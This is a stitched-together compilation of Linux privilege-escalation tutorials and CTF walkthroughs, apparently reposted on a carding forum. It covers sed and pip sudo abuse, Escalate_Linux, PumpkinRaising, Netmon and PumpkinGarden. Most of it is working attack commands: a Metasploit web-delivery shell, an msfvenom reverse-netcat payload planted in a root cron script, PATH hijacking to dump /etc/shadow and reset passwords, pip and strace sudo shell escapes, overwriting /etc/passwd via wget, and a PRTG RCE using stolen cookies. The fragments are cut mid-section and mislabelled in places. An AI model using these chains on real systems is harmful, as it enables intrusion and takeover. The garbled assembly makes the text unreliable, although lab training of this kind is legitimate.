[Image: 7.png?w=687&ssl=1]

2.4 Display a file from x to y range: If we want to view a file from an instance i.e. for a range of starting index to end index then we write command as:
sed -n '2,4p' Ignite.txt
1
sed -n '2,4p' Ignite.txt
If we use “d” instead of “p” then sed will View the entire file except for the given range.
2.5 Print nth line of the file: Inplace of fixing end index you can also leave it blank if you wish to print only a specific line.
sed -n '4'p Ignite.txt
1
sed -n '4'p Ignite.txt
As in below screenshot, you can see when I have used above-mentioned command then sed has reflected the output only to print for the 4th line.
[Image: 8.png?w=687&ssl=1]

2.6 Print from nth line to end of file: To print any file from its nth line to the last (end of file) line then frame command as below:
sed -n '4,$'p Ignite.txt
1
sed -n '4,$'p Ignite.txt
Here “$” is an indication for reflecting the last line of the file.
[Image: 9.png?w=687&ssl=1]

2.7 Print the line only for pattern matching: If we want to print only those lines which match the given pattern then, in this case, we will draw command as:
sed -n /training/p Ignite.txt
1
sed -n /training/p Ignite.txt
From the below image, it is clear how this command works. Here in the below image, I have print those lines which include the word “training”.
2.8 Print lines which matches the pattern nth line: We can use numeric value along “p” to print for pattern matching till nth line.
sed -n '/cyber/,3p' Ignite.txt
1
sed -n '/cyber/,3p' Ignite.txt
[Image: 10.png?w=687&ssl=1]

3 Deleting lines with sed: Now we check how we can delete the lines from a file by the help of sed.
3.1 Remove a specific line: To delete any particular line within a file us “d” option followed by sed command. Here I’m deleting the 3rd line from “Ignite.txt”.
sed '3d' Ignite.txt
1
sed '3d' Ignite.txt
3.2 Remove line for a range: If we wish to delete content till a particular range then we will set its “initial index value” and “end value” of file. In below image, I have deleted the content of “Ignite.txt” from its 3rd line to 5th line and will attain output for remaining file content.
sed '3,5d' Ignite.txt
1
sed '3,5d' Ignite.txt
[Image: 11.png?w=687&ssl=1]

3.3 Remove from nth to last line: Instead of fixing end index one can also use “$” to delete lines till the end of the file.
sed '2,$d' Ignite.txt
1
sed '2,$d' Ignite.txt
Here “2” indicating for the initial index from where deletion must be done and “$” is indicating to delete lines till the end of the file.
3.4 Remove the last line: If we won’t set any index value then “$d” will simply delete only the last line of the file.
sed '2d' Ignite.txt
1
sed '2d' Ignite.txt
[Image: 12.png?w=687&ssl=1]

3.5 Remove the pattern matching line: Sometimes we not only want to print or view those lines that match the particular pattern but also desire to delete them so in such case we will frame below command to attain output as per user request.
sed '/training/d' Ignite.txt
1
sed '/training/d' Ignite.txt
Here in below image sed has deleted all those lines which match the word “training”.
[Image: 13.png?w=687&ssl=1]

Abusing sed
Sudo Rights Lab setups for Privilege Escalation
Now we will start our mission of privilege escalation. To grab this first, we have to set up our lab of sed command with administrative rights. After that, we will check for the sed command that what impact it has after getting sudo rights and how we can use it more for privilege escalation.
It can be clearly understood by the below image in which I have created a local user (test) who own all sudo rights as root and can achieve all task as admin.
To add sudo right open etc/sudoers file and type following as user Privilege specification.
test All=(root) NOPASSWD: /usr/bin/sed
1
test All=(root) NOPASSWD: /usr/bin/sed
[Image: 14.png?w=687&ssl=1]

Exploiting Sudo rights
Now we will start exploiting sed facility by taking the privilege of sudoer’s permission. For this very first we must have sessions of a victim’s machine then only we can execute this task. Suppose we got the sessions of victim’s machine that will assist us to have local user access of the targeted system through which we can escalate the root user rights.
So now we will connect to the target machine with ssh, therefore, type following command to get access through local user login.
ssh [email protected]
1
ssh [email protected]
Then we look for sudo right of “test” user (if given) and found that user “test” can execute the pip command as “root” without a password.
sudo -l
1
sudo -l
Now we will access our /etc/passwd file by the help sed command to escalate or maintain access with elevated privileges.
Conclusion: Hence we have successfully exploited “sed” by achieving its functionality after granting higher privilege.
[Image: 15.png?w=687&ssl=1]

Reference link:

[To see content please register here]

Escalate_Linux is an intentionally developed Linux vulnerable virtual machine. The main focus of this machine is to learn Linux Post Exploitation (Privilege Escalation) Techniques. The credit for making this VM machine goes to “Manish Gupta” and it is a boot2root challenge where the creator of this machine wants us to root the machine through twelve different ways. You can download the machine following this link:

[To see content please register here]

NOTE: In this article, we have exploited the machine with six different methods.
Security Level: Beginner-Intermediate
Penetrating Methodology:
Scanning

Netdiscover
Nmap

Enumeration

Web Directory Search

Exploiting

Metasploit shell upload
LinEnum.sh

Privilege Escalation

Method 1: Get root shell by exploiting suid rights of the shell file
Method 2: Get a root shell by cracking the root password
Method 3: Get root shell by exploiting sudo rights of user1
Method 4: Get root shell by exploiting crontab
Method 5: Exploiting Sudo rights of vi editor
Method 6: Exploiting writable permission of /etc/passwd file

Walkthrough:
Scanning:
Let’s start off by scanning the network using Netdiscover tool and identify the host IP address. We can identify our host IP address as 192.168.0.17.
[Image: 1.png?w=687&ssl=1]

Now let’s scan the services and ports of target machine with nmap
nmap -A 192.168.0.17
1
nmap -A 192.168.0.17
[Image: 2.png?w=687&ssl=1]

Enumeration:
As we can see port 80 is open, so we tried to open the IP address in our browser and got nothing but the default Apache webpage.
[Image: 3.png?w=687&ssl=1]

So we used dirb with .php filter for directory enumeration.
dirb

[To see content please register here]

–X .php
1
dirb

[To see content please register here]

–X .php
After brute-forcing with dirb, we found a URL named

[To see content please register here]

/shell.php
[Image: 4.png?w=687&ssl=1]

Now we opened the URL in our browser and found that it accepts cmd as get parameter.
[Image: 5.png?w=687&ssl=1]

So, we passed the id command in the URL and found the results are reflected in the response.
[Image: 6.png?w=687&ssl=1]

Exploiting
Since the target machine is vulnerable to command injection, we created a web delivery shell using Metasploit.
use exploit/multi/script/web_delivery
set srvhost 192.168.0.12
set lhost 192.168.0.12
exploit
1
2
3
4
use exploit/multi/script/web_delivery
set srvhost 192.168.0.12
set lhost 192.168.0.12
exploit
[Image: 7.png?w=687&ssl=1]

The target host was not able to run the script directly, so we used URL encoding.
[Image: 8.png?w=687&ssl=1]

After encoding the script, we were successfully able to run it on the target machine and get the meterpreter session.
[Image: 9.png?w=687&ssl=1]

We got the bash shell of User6 after using python one-liner shell command.
To further enumerate the target host, we uploaded LinEnum tool on the target host.
upload /root/LinEnum.sh .
shell
python -c 'import pty;pty.spawn("/bin/bash")'
chmod 777 LinEnum.sh
./LinEnum.sh
1
2
3
4
5
upload /root/LinEnum.sh .
shell
python -c 'import pty;pty.spawn("/bin/bash")'
chmod 777 LinEnum.sh
./LinEnum.sh
[Image: 10.png?w=687&ssl=1]

From the results of LinEnum scan, we found that the target host has eight users namely user1, user2 up to user8.
[Image: 11.png?w=687&ssl=1]

We also found that in crontab, a file named autoscript.sh is being run every 5 minutes with root privileges.
[Image: 12.png?w=687&ssl=1]

From the same LinEnum scan, we came to know that /etc/passwd is writable for users also. Also, we found that we can run shell and script files with root privileges because SUID bit is enabled on it.
[Image: 14.png?w=687&ssl=1]

Privilege Escalation:
As mentioned above there are multiple ways to do the privilege escalation of this machine.
We will try to do as many methods as possible.
Method 1: Get root shell by exploiting SUID rights of the shell file
Using the find command we can confirm that the shell file located in the home directory of user3 can be executed with root privileges.
We tried to execute the same file and got the root shell.
find / -perm -u=s -type f 2>/dev/null
cd /home/user3
./shell
1
2
3
find / -perm -u=s -type f 2>/dev/null
cd /home/user3
./shell
[Image: 15.png?w=687&ssl=1]

Method 2: Get a root shell by cracking the root password
From the above screenshot, we know that the script file located in the user5 home directory can be executed with root privileges. Using the Path variable exploitation methodology we can access the /etc/shadow file.
To know more about path variable privilege escalation use this link:

[To see content please register here]

cd /tmp
echo "cat /etc/shadow" > ps
chmod 777 ps
export PATH=/tmp:$PATH
cd /home/user5
./script
1
2
3
4
5
6
cd /tmp
echo "cat /etc/shadow" > ps
chmod 777 ps
export PATH=/tmp:$PATH
cd /home/user5
./script
[Image: 16.png?w=687&ssl=1]

on executing ./script, we have fetched the content of shadow’s file as shown in the below image.
[Image: 17.png?w=687&ssl=1]

We copied the hashed password of root user in the hash file and used John The Ripper tool to crack the password. We got the password of the root as 12345 and then using the su command we were able to access as root.
john hash
su root
1
2
john hash
su root
[Image: 18.png?w=687&ssl=1]

Method 3: Get root shell by exploiting SUDO rights of user1
We already know by now that script file can be executed with root privileges.
Using the same script file we can change the password of all the users with the help of Path variable methodology.
Here we used echo and chpasswd command to replace the existing password with our new password 12345. And then switched to the user1 account using su command. After checking the sudoer’s list for user1 we came to know that this user can run all commands as sudo.
So we ran the command sudo su and got the root access.
echo 'echo "user1:12345" | chpasswd' > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user1
sudo –l
sudo su
1
2
3
4
5
6
7
8
echo 'echo "user1:12345" | chpasswd' > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user1
sudo –l
sudo su
[Image: 19.png?w=687&ssl=1]

Method 4: Get root shell by exploiting crontab
In the previous screenshot, we saw there is a task scheduled after every 5 minutes for user4 in the crontab by the name autoscript.sh. We changed the password of user4 the same way as we did for user1 and then switched to user4 with the new password 12345. There we can see a file autoscript.sh in the Desktop folder.
su user4
ls -la
1
2
su user4
ls -la
[Image: 20.png?w=687&ssl=1]

So what we did is we created a payload using msfvenom and then copied the code into autoscript.sh file using echo.
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.0.12 lport=8888 R
1
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.0.12 lport=8888 R
[Image: 21.png?w=687&ssl=1]

echo "code" > autoscript.sh
1
echo "code" > autoscript.sh
[Image: 22.png?w=687&ssl=1]

After copying the code into autoscript.sh file we executed the file and started the netcat listener on our kali machine and waited for the shell.
Yes we got the root shell as the autoscript.sh is executing as root in the crontab.
nc –lvp 8888
id
1
2
nc –lvp 8888
id
[Image: 23.png?w=687&ssl=1]

Method 5: Exploiting SUDO rights of vi editor
We changed the password of all the users to 12345 using the same methodology as above and switched between users to check for more exploits. We found that user8 has a sudo permission for vi editors.
su user8
sudo -l
1
2
su user8
sudo -l
[Image: 24.png?w=687&ssl=1]

Open the vi editor with sudo and insert sh command as shown in the screenshot below, exit the editor and hurray we got the root shell.
:!sh
ids
1
2
:!sh
ids
[Image: 25.png?w=687&ssl=1]

And again we will obtain the root shell as shown below in the image.
[Image: 26.png?w=687&ssl=1]

Method 6: Exploiting writable permission of /etc/passwd file
Continuing with the enumeration of users, we found that user7 is a member of the root group with gid 0.
And we already know from the LinEnum scan that /etc/passwd file is writable for the user. So from this observation, we concluded that user7 can edit the /etc/passwd file.
tail /etc/passwd
su user7
id
1
2
3
tail /etc/passwd
su user7
id
[Image: 27.png?w=687&ssl=1]

So we copied the contents of /etc/passwd file in our kali machine and created a new user named raj with root privileges for which we generated a password pass123 using openssl.
openssl passwd -1 -salt ignite pass123
1
openssl passwd -1 -salt ignite pass123
[Image: 29.png?w=687&ssl=1]

As you can observe we have created a new entry inside /etc/passwd for user raj with root privilege.
[Image: 30.png?w=687&ssl=1]

On the target machine, we downloaded the edited passwd file in the /etc folder using wget command.
Then we tried to switch to our newly created user raj and YES yet again we proudly got the root shell of the machine.
cd /etc
wget –O passwd

[To see content please register here]

su raj
id
1
2
3
4
cd /etc
wget –O passwd

[To see content please register here]

su raj
id
[Image: 31.png?w=687&ssl=1]

Conclusion: So in this part-1 of Escalate_Linux we did the privilege escalation by six different methodologies. In the part-2 we will try to exploit the machine by some different methods. So keep visiting Hacking Articles for next part.

PumpkinRaising is another CTF challenge from the series of Mission-Pumpkin v1.0 created by keeping beginners in mind and all credit for this VM goes to Jayanth. This level is all about identifying 4 pumpkin seeds (4 Flags – Seed ID’s) and gain access to root and capture the final Flag.txt file.
You can download it from here:

[To see content please register here]

Level: Beginner to Intermediate
Penetrating Methodologies
Scanning

Nmap

Enumeration

txt
Abusing HTTP services

Exploiting

Ssh Login

Privilege Escalation

Abusing Sudo right

Walkthrough
Scanning
Let’s start with network scanning as the IP of this VM is 192.168.0.11. So, initializing this VM by scanning open port and running services over those port with the help nmap.
nmap -A 192.168.0.11
1
nmap -A 192.168.0.11
From its scan result, I found port 22 for ssh and 80 for http are available, moreover it gave some hint for /robot.txt file that disallows 23 entities.
[Image: 1.png?w=687&ssl=1]

Enumeration
So first we navigate to a web browser and explore the VM IP and welcome by following web page. Read the following message:
“To raise Pumpkins, we need to collect seeds in the first step. Remember Jack? He is the only expert we have in raising healthy Pumpkins. It’s time to get in search of pumpkin seeds”
From this message, we can assume for “Jack” which could be a username.
[Image: 2.png?w=687&ssl=1]

Further, I explored /robot.txt file suggested in nmap scan and found some list of interesting directories, files and paths. Apart from all entries, I found a few interesting entries such as: /hidden/notes.txt, /underconstruction.html and /seeds/seed.txt.gpg. so, we have explored each entry one-by-one.
[Image: 3.png?w=687&ssl=1]

The hidden note.txt showed certain data which may be needed to login credentials subsequently.

[To see content please register here]

Robert: C@43r0VqG2=
Mark: Qn@F5zMg4T
goblin: 79675-06172-65206-17765
1
2
3
4

[To see content please register here]

Robert: C@43r0VqG2=
Mark: Qn@F5zMg4T
goblin: 79675-06172-65206-17765
[Image: 4.png?w=687&ssl=1]

when I checked the source code of the homepage and here, I found a link for pumpkin.html
[Image: 5.png?w=687&ssl=1]

On exploring source code of

[To see content please register here]

, I found a base32 encoded string.
[Image: 6.png?w=687&ssl=1]

With the help of online base32 decoder, we have decoded the string and note the path /scripts/spy.pcap that could be a hint for seed’s id.
[Image: 7.png?w=687&ssl=1]

To identify what is inside the spy.pcap file, I simply downloaded the file in our local machine and used Wireshark to read the network packet.
[Image: 8.png?w=687&ssl=1]

Here I found the first seed: 50609 from inside the tcp steam as shown in the below image.
[Image: 9.png?w=687&ssl=1]

Again, we come back to pumkin.html page and I found the decimal string on scrolling same file.
[Image: 10.png?w=687&ssl=1]

On decoding decimal string, we found one more seed:96454
[Image: 11.png?w=687&ssl=1]

As you know we have enumerated /robots.txt and from inside that, we found another important file /underconstrution.html as shown below. So, we have explored the source code of the web page and noted hint for an image.
[Image: 12.png?w=687&ssl=1]

Now, we have explored the below URL and found a picture for pumpkin which I have downloaded in my local machine.

[To see content please register here]

After downloading the pumpkin image, I check for hidden data with help of stegosuite. This image was password protected image and if you remembered we had enumerated “Mark: Qn@F5zMg4T” secret keys from inside /hidden/notes.txt
I used the key: Qn@F5zMg4T for extracting the hidden file “decorative.txt” from inside the stegno image.
[Image: 14.png?w=687&ssl=1]

So, when I opened this file, it gave me another PUMP-Ke-Mon Pumpkin seed: 86568
[Image: 15.png?w=687&ssl=1]

Further, I downloaded the .gpg file as the link /seeds/seed.txt.gpg which was mention in the robot.txt file.
wget

[To see content please register here]

gpg -d seeds.txt.gpg
1
2
wget

[To see content please register here]

gpg -d seeds.txt.gpg
[Image: 16.png?w=687&ssl=1]

So, when I tried to open the file, I noticed that it requires the passphrase to decrypt the encrypted data which I don’t know. Here I tried to use above enumerated keys but could not able to decrypt it. After so many attempts, I successfully decrypted the file by entering SEEDWATERSUNLIGH which was mentioned in the home page of website in the 2nd image.
On decrypting I obtained following text file as shown below and it was a Morse encoded text which used in telecommunication that encodes text characters as standardized sequences of two different signal durations called dots and dashes.
[Image: 17.png?w=687&ssl=1]

To decrypt the Morse text I have used

[To see content please register here]

which is an online decrypting tool. On decrypting the text, I found another BIGMAXPUMPKIN seed 69507
[Image: 18.png?w=687&ssl=1]

As it was declared by the author that in this VM we need to find 4 SEED’s ID and a root flag. Hence, we have collected all 4 seed’s id but for getting root flag, we need to compromise the VM.
When I didn’t get any vulnerability to compromised it, I tried to access ssh by the combination of all 4 seed found in this VM and used this as a password for user jack.

SEED ID: 69507
SEED ID: 50609
SEED ID: 96454
SEED ID: 86568

ssh [email protected]
SSH login Password: 69507506099645486568
1
2
ssh [email protected]
SSH login Password: 69507506099645486568
Yuppie!! We got the shell access but for obtaining root flag we need to escalate the privilege from low privilege shell to high. Therefore, I check for sudo rights for user jack and found jack can run strace with sudo rights.
Hmmm! We can abuse the sudo permission set for strace program. Hence type following and obtain the root flag.

sudo strace -o/dev/null /bin/bash
cd /root
ls
cat flag.txt
1
2
3
4
sudo strace -o/dev/null /bin/bash
cd /root
ls
cat flag.txt
[Image: 19.png?w=687&ssl=1]

[Guide] How to Hack the Box: Netmon Walkthrough

Posted by: NINZA - 05-14-2020, 05:50 PM - Forum: Carders Home - No Replies

Netmon is a recently retired CTF VM on Hack the Box with the objective – Capture the user and root flag. Hack the Box offers a wide range of VMs for practice from beginner to advanced level and it is great for penetration testers and researchers.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of netmon is 10.10.10.152
Penetration Methodology
Scanning

Network Scanning (Nmap)

Enumerating

Browsing the webpage
Enumerating FTP

Exploiting

Anonymous Login in FTP
Reading user.txt

Privilege Escalation

Enumerate for the config file
Logging in Administrator Panel
Exploiting RCE
Reading root.txt

Walkthrough
Let’s start off with scanning with the nmap to check open ports.
nmap -A 10.10.10.152
1
nmap -A 10.10.10.152
Here I found port 21 for FTP, 80 for HTTP, 135 for RPC, 139 for NetBIOS, 445 for SMB are opened, rest were filtered.
[Image: 1.png?w=687&ssl=1]

We immediately proceed towards port 80 when we see it open. We find the PRTG Network Monitor page. But to use this dashboard, we need the login credentials. But we don’t have the access to those credentials at this stage.
[Image: 3.png?w=687&ssl=1]

In the nmap scan earlier, we saw that the FTP port 21 is open as well allows Anonymous Login. So, we login the FTP using the Anonymous as Login as well as password. After successfully logging, we use the ls command to list all the files that are shared. We see that we Users Directory available so we traverse into it using the cd command. Here, we have 2 more directories, Administrator and Public. We don’t have permission to access the Administrator directory so we move into the Public Directory. Here we find the user.txt file. We use the get command to download this file onto our system. Hence, we got our first flag, that is; the user flag.
ftp 10.10.10.152
ls -la
cd Users
ls
cd Public
ls
get user.txt
1
2
3
4
5
6
7
ftp 10.10.10.152
ls -la
cd Users
ls
cd Public
ls
get user.txt
[Image: 4.png?w=687&ssl=1]

Now we need to get the root flag. For this, we went to our most dependable friend, Google. After working our way through some of the PRTG Network Monitor manuals and help pages, we found this

[To see content please register here]

. This gives us the location of the data that PRTG Network Monitor stores, that is “%programdata%\Paessler\PRTG Network Monitor”. As we still have the FTP connection, we went to ProgramData directory and then traversed all the way to the location mentioned. Here we located an old configuration file. We downloaded this file to our system so that we can analyse it closely.
cd ProgramData
ls -la
cd Paessler
ls
cd "PRTG Network Monitor"
ls
get "PRTG Configuration.old.bak"
1
2
3
4
5
6
7
cd ProgramData
ls -la
cd Paessler
ls
cd "PRTG Network Monitor"
ls
get "PRTG Configuration.old.bak"
[Image: 5.png?w=687&ssl=1]

After successfully downloading and searching through many lines of code, we stumbled upon the password, that was used previously. We took a guess here, as this was the previous configuration and it contains the year 2018 and whenever there is a current date in the password then they could be updated with the change in the date to the latest date.
[Image: 6.png?w=687&ssl=1]

This means, that the previous password was PrTg@dmin2018 and since the current year is 2019, we replaced 2018 in the password by 2019. This was an educated guess we made. So, using the new login credentials, we successfully logged in the PRTG Network Monitor Dashboard.
Login Name: prtgadmin
Password: PrTg@dmin2019
1
2
Login Name: prtgadmin
Password: PrTg@dmin2019
[Image: 7.png?w=687&ssl=1]

After looking around the dashboard for some time, we didn’t find anything that could help us in our quest to get the root flag. So, we went to another dependable friend, Exploit DB. We searched the exploit dB for PRTG Network Monitor and found

[To see content please register here]

. On further researching on the internet about this exploit, we found

[To see content please register here]

on GitHub. This script creates a PowerShell file and then it uses it to run commands on the target system to create a user. But in order to work, it needs the cookie that was used in the original login in the dashboard of the PRTG Network Monitor. We capture the request using the Burp Suite. Upon close inspection of the captured packet, we find the cookie that we require.
[Image: 8.png?w=687&ssl=1]

Now, we clone the git directory that contains the script that we require to create a new user. After giving the necessary permissions to the file to run. We run the prtg-exploit.sh file, with the Target IP Address and the cookie, captured as parameters. This script can take some time to run depending on your connectivity speed. But after successfully running it creates a user with following credentials.
Username: pentest
Password: P3nT3st!
1
2
Username: pentest
Password: P3nT3st!

./prtg-exploit.sh -u

[To see content please register here]

-c "_ga=GA1.4.780888731.156187260; _gid=GA1.4.641622581.1562574873; OCTOPUS1813713946=ezQ3N0RENjcwLUFCQzItNDQ1Ri04Q0IyLUZDMjlFOUU3QjQ0Qn0%3D"
1
./prtg-exploit.sh -u

[To see content please register here]

-c "_ga=GA1.4.780888731.156187260; _gid=GA1.4.641622581.1562574873; OCTOPUS1813713946=ezQ3N0RENjcwLUFCQzItNDQ1Ri04Q0IyLUZDMjlFOUU3QjQ0Qn0%3D"
[Image: 9.png?w=687&ssl=1]

Now that, we have the user created on the target machine with Administrative Rights, let’s nab that root flag and complete this challenge. We will use the psexec.py script form the impacket tool kit to connect to the Target machine. You can use any of the methods that are provided in

[To see content please register here]

. Here, we chose to run it directly as a python file. We need the username, password and target IP address as parameters as shown in the image given below. As we can see that after running, psexec gives the shell with Administrator rights. Now, we used the cd command to traverse into the Desktop Directory to find the root flag.
python psexec.py 'pentest Tongue

[email protected]'
cd ..
cd Users\Administrator\Desktop
type root.txt
1
2
3
4
python psexec.py 'pentest Tongue

[email protected]'
cd ..
cd Users\Administrator\Desktop
type root.txt
[Image: 10.png?w=687&ssl=1]

The main objective of this article is to make attentive our readers for the other most expedient command from the list of Linux for pentesters. As we know apart from copying, downloading and searching task user desires other excessive operational mission i.e. installation of packages. So in this article, we are going to make you familiar with the command that can perform such task i.e. “pip”. The main utilities of this command are to install, uninstall, search python packages. So by knowing this functionality of pip command now, we will check how we can acquire its benefit in our mission of Privilege Escalation.
NOTE: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content
Introduction to pip

Major Operation performed using pip

Exploiting pip

SUID Lab setups for privilege Escalation
Exploiting SUID

Introduction to pip
Before we start, let’s do a quick appendix check and determine what a ‘Python package’ is in actually. It is a Python module which can contain other modules or recursively, other packages. It is the kind of Python package that you import in your Python code. So there are many tools available that help to install such packages and “pip” is one of that which is widely used in today’s era.
The pip is an abbreviation of “python install packages” which is a tool for installing and managing Python packages. This command is very useful for web development as well as for sys-admins who manages cloud computing-based resources. Now we will start by running its help command to know the depth of “pip” operations.
pip --help
1
pip --help
[Image: 1.png?w=687&ssl=1]

Major operations performed by “pip”
List all installed packages: To check the list of all installed python packages in our machine we can use option “list” followed by pip command. The list option has its vital role in pip command as it can perform many operations that a user can need. Some of these functions are listed below:

List installed packages: This will help in listing all the installed packages.

pip list
1
pip list
[Image: 2.png?w=687&ssl=1]

Other option for package listing:
Syntax: pip list <options>
List outdated packages: Whenever we wish to check the list for all those packages that are outdated then we will use “–outdated” option followed by pip list command which will provide the list of all installed outdated packages with its current and latest version.
pip list --outdated
1
pip list --outdated
List installed packages with column formatting: If we want to display the desired output in the specific format then we will use the “–format” option for this purpose. Suppose I want to wish to list the details in column format then I will frame command as below.
pip list --format columns
1
pip list --format columns
List outdated packages with column formatting: This is same as format option consisting some more fields to display the output as the current version, latest version, and type of installed packages.
pip list -o --format columns
1
pip list -o --format columns
List packages that are not dependencies of other packages: whenever anybody required to check the list for those installed packages who do not have any kind of responsibleness of other packages then we will frame command as below.
pip list --outdated --not-required
1
pip list --outdated --not-required
[Image: 3.png?w=687&ssl=1]

To install the new package: As above I have described the main objective of pip command is “installing new packages” so now by grabbing this advantage I am installing ‘flask”.
Syntax: pip install <package name>
pip install flask
1
pip install flask
[Image: 4.png?w=687&ssl=1]

Show information about packages: The “show” option in pip assist to reflects the detailed information about installed packages.
Syntax: pip show <package name>
pip show flask
1
pip show flask
As from below image it can be well understood that after using show option it has produced the output by showing the relevant information of flask.
[Image: 5.png?w=687&ssl=1]

To uninstall any package: Apart from installing the software packages we also required its other phase i.e. uninstallation. The pip command tends this utility too where one can uninstall the desired packages without any hassle.
Syntax: pip uninstall <package name>
pip uninstall jinja2
1
pip uninstall jinja2
Here in the below image, I’m showing to uninstall “jinja2” which is a modern-day templating language for Python developers.
[Image: 6.png?w=687&ssl=1]

To freeze any package: Freezing is a procedure where

[To see content please register here]

reads the versions of all installed packages in a local virtual atmosphere and then produces a text file with the package version for each python package stated. For performing this operation use option “freeze” as shown below.
Syntax: pip freeze > <filename>
pip freeze > komal.txt
1
pip freeze > komal.txt
[Image: 7.png?w=687&ssl=1]

To search for an installed package: The search option helps to search for an available Python package. The search term generates quite a widespread group of packages.
Syntax: pip search <package name>
pip search keyring
1
pip search keyring
Most of the time, we wish to hunt for packages directly on the

[To see content please register here]

website. So PyPI delivers such search abilities for its index and a way to filter results. Now I’m framing command as shown below to search for “keyring”.
[Image: 9.png?w=687&ssl=1]

To create a hash for any package: A Hash Value is a string value of specific length which is the result of calculation of a Hashing Algorithm. One of the chief uses of Hash Values is to define the Integrity of any Data (which can be a file, attachments, downloads etc).
Syntax: pip hash <package name>
pip hash rockyou.txt
1
pip hash rockyou.txt
The pip provides this functionality too to maintain the integrity of installed packages. In below image, I’m using this option for creating hash value of a file i.e. “rockyou.txt.
[Image: 10.png?w=687&ssl=1]

To download any file or package: Instead of above all described task “pip” also supports the functionality to upload, download, read etc. for any file. Here I’m using one of these i.e. download the package. Pip download use to download file and package into default path or can do the same for a specific path.
In below image I have used this to download a compressed file from remote location.
Syntax: pip download <path>
pip download

[To see content please register here]

1
pip download

[To see content please register here]

Exploiting pip
Sudo Rights Lab setups for Privilege Escalation
Now we will start our task of privilege escalation. For this very first we have to set up our lab of pip command with administrative rights. After that we will check for the pip command that what influence it has after getting sudo rights and how we can use it more for privilege escalation.
It can be clearly understood by the below image in which I have created a local user (test) who own all sudo rights as root and can achieve all task as admin.
To add sudo right open etc/sudoers file and type following as user Privilege specification.
test All=(root) NOPASSWD: /usr/bin/pip
1
test All=(root) NOPASSWD: /usr/bin/pip
[Image: 12.png?w=687&ssl=1]

Exploiting Sudo rights
Now we will start exploiting pip service by taking the privilege of sudoer’s permission. Suppose we got the sessions of victim’s machine that will assist us to have local user access of the targeted system through which we can escalate the root user rights.
Very first we will connect to the target machine with ssh, therefore, type following command to get access through local user login.
ssh [email protected]
1
ssh [email protected]
Then we look for sudo right of “test” user (if given) and found that user “test” can execute the pip command as “root” without a password.
sudo -l
1
sudo -l
Now after knowing the fact that test user attains admin rights so, taking this benefit here we can use pip command to run in privileged context and can be used to access the file system, escalate or maintain access with higher privileges if permitted on sudo.
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
1
2
3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
Conclusion: Hence we have successfully exploited pip by achieving its functionality after granting higher privilege.
[Image: 13.png?w=687&ssl=1]

Reference link:

[To see content please register here]

Today we are going to solve another CTF challenge known as mission Pumpkin and credit for making this VM machine goes to Jayanth which is designed for people who are beginners in the penetration testing field. The mission of this CTF is to gain access to PumpkinGarden_key file stored in the root account. So, let’s proceed towards solve this Mission Pumpkin.
You can download this VM from vulnhub.com:

[To see content please register here]

Security Level: Beginner
Penetration Methodology:
Scanning

Nmap

Enumeration

Anonymous FTP login
Web Directory Search

Exploiting

SSH connect

Privilege Escalation
Scanning
Let’s start with our first step which is scanning, for which we will use Nmap tool to check open ports states.
nmap -p- -A 192.168.0.14
1
nmap -p- -A 192.168.0.14
Here as we can see that port 21 for FTP is open and anonymous user can login ftp. Moreover, we can also observe that http is service in running on port 1515 and open ssh service is running on port 3535. Now we will move towards our next step which is enumeration.
[Image: 1.png?w=687&ssl=1]

Enumeration
First, we will try to connect through ftp with anonymous as username and password. Here we have found note.txt then we will transfer this file in our system
ls
get note.txt
cat note.txt
1
2
3
ls
get note.txt
cat note.txt
[Image: 2.png?w=687&ssl=1]

Now as we had seen that Apache service was running on port 1515. So, we will open that in our browser where we have not found anything interesting.
[Image: 3.png?w=687&ssl=1]

Now we will use dirb for web directory enumeration and we will found the /img directory there.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Inside the image directory; we got a file named hidden_secrets.
[Image: 5.png?w=687&ssl=1]

When we opened that file, we got our next clue which was a secret key.
[Image: 6.png?w=687&ssl=1]

This key is encrypted in base64 so first we will decode it to get the clue.
echo c2NhcmVjcm93IDogNVFuQCR5 | base64 -d
1
echo c2NhcmVjcm93IDogNVFuQCR5 | base64 -d
Now we are assuming that these can be the usernames Confused

carecrow and passwords:5Qn@$y.
[Image: 7.png?w=687&ssl=1]

Exploiting
Now we will try to connect through ssh with help of credential found above. after login as scarecrow here we have found file note.txt and after opening this we will get another clue which is password. So further we will check the list of users in etc/passwd file.
We got the list of users, now we will switch to goblin user and enter the password key Y0n$M4sv3D1t and we are successful login by doing so.
ssh [email protected] -p3535
ls
tail /etc/passwd
su goblin
1
2
3
4
ssh [email protected] -p3535
ls
tail /etc/passwd
su goblin
In goblin user, we found another note file which contains a link of exploit db for exploiting as shown in the image at the bottom.
[Image: 9.png?w=687&ssl=1]

Now we will click on the link which is provided there and downloaded the bash file which holds the method to gain access of root.
cat 38362.sh
1
cat 38362.sh
[Image: 10.png?w=687&ssl=1]

So, as we run the commands which we have got we will get the root access and we are logged in as root. We have got pumpkeygarden_key here which reflects that we have solved this CTF successfully.
[Image: 11.png?w=687&ssl=1]

This is another post on vulnhub CTF “named as “symfonos” by Zayotic. It is designed for VMware platform, and it is a boot to root challenge where you have to find flags to finish the task assigned by the author.
You can download it from here:

[To see content please register here]

Level: Beginner to Intermediate
Penetrating Methodologies
Scanning

Netdiscover
Nmap

Enumeration

SMB Shares folder
Wpscan

Exploiting

Exploiting WordPress again LFI
LFI to RCE via SMTP log Poising

Privilege Escalation

PATH Variable
Capture the flag

Walkthrough
Scanning
Let’s start with network scanning to identify the IP of VM with the help of netdiscover.
[Image: 1.png?w=687&ssl=1]

So, we have our target IP 192.168.0.16. Now, let’s scan the services and ports via nmap.
nmap -A 192.168.0.16
1
nmap -A 192.168.0.16
